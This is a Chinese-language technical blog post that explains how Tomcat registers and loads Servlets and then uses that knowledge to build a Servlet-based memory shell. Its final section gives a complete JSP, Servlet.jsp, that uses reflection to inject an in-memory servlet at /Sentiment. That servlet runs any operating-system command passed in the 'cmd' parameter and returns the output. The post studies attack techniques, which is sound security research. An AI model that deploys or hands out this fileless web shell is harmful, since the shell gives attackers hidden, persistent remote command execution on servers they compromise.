Java-Tomcat Servlet内存马

Posted 2022-07-27 Java内卷王

Servlet

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，它早期的名称为catalina，后来由Apache、Sun 和其他一些公司及个人共同开发而成，并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选，因为Tomcat 技术先进、性能稳定，成为目前比较流行的Web 应用服务器。Tomcat是应用（java）服务器，它只是一个servlet容器，是Apache的扩展，但它是独立运行的。

从宏观上来看，Tomcat其实是Web服务器和Servlet容器的结合体。

<pre class="prettyprint hljs" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">Web服务器：通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。（比如访问某台电脑上的图片文件）
Servlet容器：顾名思义就是存放Servlet对象的东西，Servlet主要作用是处理URL请求。（接受请求、处理请求、响应请求）
</pre>

Servlet接口一共有五个类分别是init（Servlet对象初始化时调用）、getServletConfig（获取web.xml中Servlet对应的init-param属性）、service（每次处理新的请求时调用）、getServletInfo（返回Servlet的配置信息，可自定义实现）、destroy（结束时调用）：

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">public interface  Servlet   
    void  init(ServletConfig var1)  throws  ServletException;

    ServletConfig  getServletConfig();

    void  service(ServletRequest var1,  ServletResponse var2)  throws  ServletException,  IOException;

    String  getServletInfo();

    void  destroy();
</pre>

Servlet.java

<pre class="prettyprint hljs scala" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">package memoryshell;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class  Servlet  extends  HttpServlet   
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException  
        resp.getWriter().write("Hello,Sentiment!");
    

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException  
        doGet(req, resp);
    
</pre>

web.xml

<pre class="prettyprint hljs xml" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>memoryshell.Servlet</servlet-class>
</servlet>
<!--Servlet的请求路径-->
<servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping></pre>

访问/hello

Servlet生成

本地没有catalina，所以加了个依赖，可能是版本不对在调试时可能会有一丢丢代码不匹配的问题，但不影响正常流程

依赖

<pre class="prettyprint hljs xml" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.19</version>
</dependency></pre>

整个栈在ContextConfig调用了 ​​configureStart#webConfig()​​ 读取 ​​web.xml​​

然后根据 web.xml 配置 context调用了 ​​configureContext()​​

<pre class="prettyprint hljs kotlin" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">if (this.ok)  
    this.configureContext(webXml);
</pre>

跟进 ​​configureContext()​​ 前边依次读取了 Filter、Listenert的配置及其映射，我们直接看后边的 Servlet 部分：

首先通过 ​​StandardContextS#createWrapper()​​ ，创建wrapper对象

Wrapper（包装器）：代表一个 Servlet，它负责管理一个 Servlet，包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器，它没有子容器了，所以调用它的 addChild 将会报错。

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">public  Wrapper  createWrapper()   
Wrapper wrapper = null;
if (wrapperClass != null)  
    try  
        wrapper = (Wrapper) wrapperClass.newInstance();
     catch (Throwable t)  
        ExceptionUtils.handleThrowable(t);
        log.error("createWrapper", t);
        return (null);
    
 else  
    wrapper = new StandardWrapper();</pre>

接着设置了启动优先级LoadOnStartUp，以及servlet的Name。

设置好优先级后就调用下边的 ​​setServletClass()​​ ，配置了Servlet的Class。

<pre class="prettyprint hljs css" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">wrapper.setServletClass(servlet.getServletClass());</pre>

最后通过 ​​addChild()​​ 将创建并配置好的 Wrapper 添加到 Context 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程，接下

来就需要添加Servlet-Mapper了（对应web.xml中的 ​​<servlet-mapping>​​ ）

取出web.xml中所有配置的Servlet-Mapping，通过context.addServletMappingDecoded()将url路径和servlet类做映射。(这里的/hello、hello就是我们在Mapper中设置的值)

1. 通过 context.createWapper() 创建 Wapper 对象；
2. 设置 Servlet 的 LoadOnStartUp 的值；
3. 设置 Servlet 的 Name；
4. 设置 Servlet 对应的 Class；
5. 通过addChild()将创建并配置好的 Wrapper 添加到 Context 中
6. 通过addServletMappingDecoded()将 url 路径和 servlet 类做映射。

Servlet加载

在 org.apache.catalina.core.StandardWapper#loadServlet() 下断点调试：

回溯到 ​​StandardContext#startInternal​​ 同样也是在处理完listener和filter后，处理Servlet，这也就体现了分析Listener中提到的执行流程(Listener -> Filter -> Servlet)

首先调用了 ​​findChildren()​​ ，将之前通过 ​​addChild()​​ 添加的所有Wapper传入 ​​loadOnStartup()​​ 中处理

跟进 ​​loadOnStartup()​​ ，children的值就是通过 ​​this.findChildren()​​ 传入进来的

通过循环将children中的值逐一赋给child，在赋值给wrapper中，之后有一段判断:

<pre class="prettyprint hljs cpp" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">if (loadOnStartup >= 0)  
    Integer key = loadOnStartup;
    ArrayList<Wrapper> list = (ArrayList)map.get(key);
    if (list == null)  
        list = new ArrayList();
        map.put(key, list);
    

    list.add(wrapper);
</pre>

如果loadOnStartup >= 0，就会将wrapper追加到list中，但loadOnStartup 的默认值是-1，

在servlet的配置当中即(web.xml)， ​​<load-on-startup>1</load-on-startup>​​ 的含义是：

标记容器是否在启动的时候就加载这个servlet。

当值为0或者大于0时，表示容器在应用启动时就加载这个servlet；

当是一个负数时或者没有指定时，则指示容器在该servlet被选择时才加载。

正数的值越小，启动该servlet的优先级越高。 ​​</load-on-startup>​​

由于我们要注入内存马，且没有配置xml不会在应用启动时就加载这个servlet，因此需要通过反射将值修改为1，将其追加到list中

之后通过load()进行加载，根据具体请求进行初始化、调用、销毁一系列操作

Servlet内存马

首先通过doGet方法实现恶意类

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    HttpServlet httpServlet = new HttpServlet()  
      @Override
      protected  void  doGet(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException   
        InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1) 
          resp.getWriter().write(len);
        
      

      @Override
      protected  void  doPost(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException   
        super.doPost(req, resp);
      
    ;

%></pre>

之后还是老办法获取StandardContext：

<pre class="prettyprint hljs vbscript" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%></pre>

反射修改 ​​loadOnStartup​​

<pre class="prettyprint hljs delphi" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%></pre>

最后将 URL 路径与 Servlet 恶意类做映射：

<pre class="prettyprint hljs erb" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><% // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/Sentiment", name); %></pre>

Servlet.jsp

<pre class="prettyprint hljs erb" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%@ page import="java.lang.reflect.Field"  %>  <%@ page import="org.apache.catalina.core.StandardContext"  %>  <%@ page import="org.apache.catalina.connector.Request"  %>  <%@ page import="java.io.IOException"  %>  <%@ page import="org.apache.catalina.Wrapper"  %>  <%@ page import="java.io.InputStream"  %>  <%@ page import="java.io.BufferedInputStream"  %>  <%@ page contentType="text/html;charset=UTF-8" language="java"  %>  <html>  <head>  <title>Sentiment</title>  </head>  <body>  <%  HttpServlet httpServlet =  new  HttpServlet()    @Override  protected  void  doGet(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException    InputStream is =  Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();  BufferedInputStream bis =  new  BufferedInputStream(is);  int len;  while  ((len = bis.read())!=-1) 
                resp.getWriter().write(len);      @Override  protected  void  doPost(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException    super.doPost(req, resp);    ;  //获得StandardContext  Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true);  Request req =  (Request) reqF.get(request);  StandardContext stdcontext =  (StandardContext) req.getContext();  //从StandardContext.createWapper()获得一个Wapper对象  Wrapper newWrapper = stdcontext.createWrapper();  String name = httpServlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(httpServlet); newWrapper.setServletClass(httpServlet.getClass().getName());  //将Wrapper添加到StandardContext stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/Sentiment", name);  %></pre>

访问Servlet.jsp后注入成功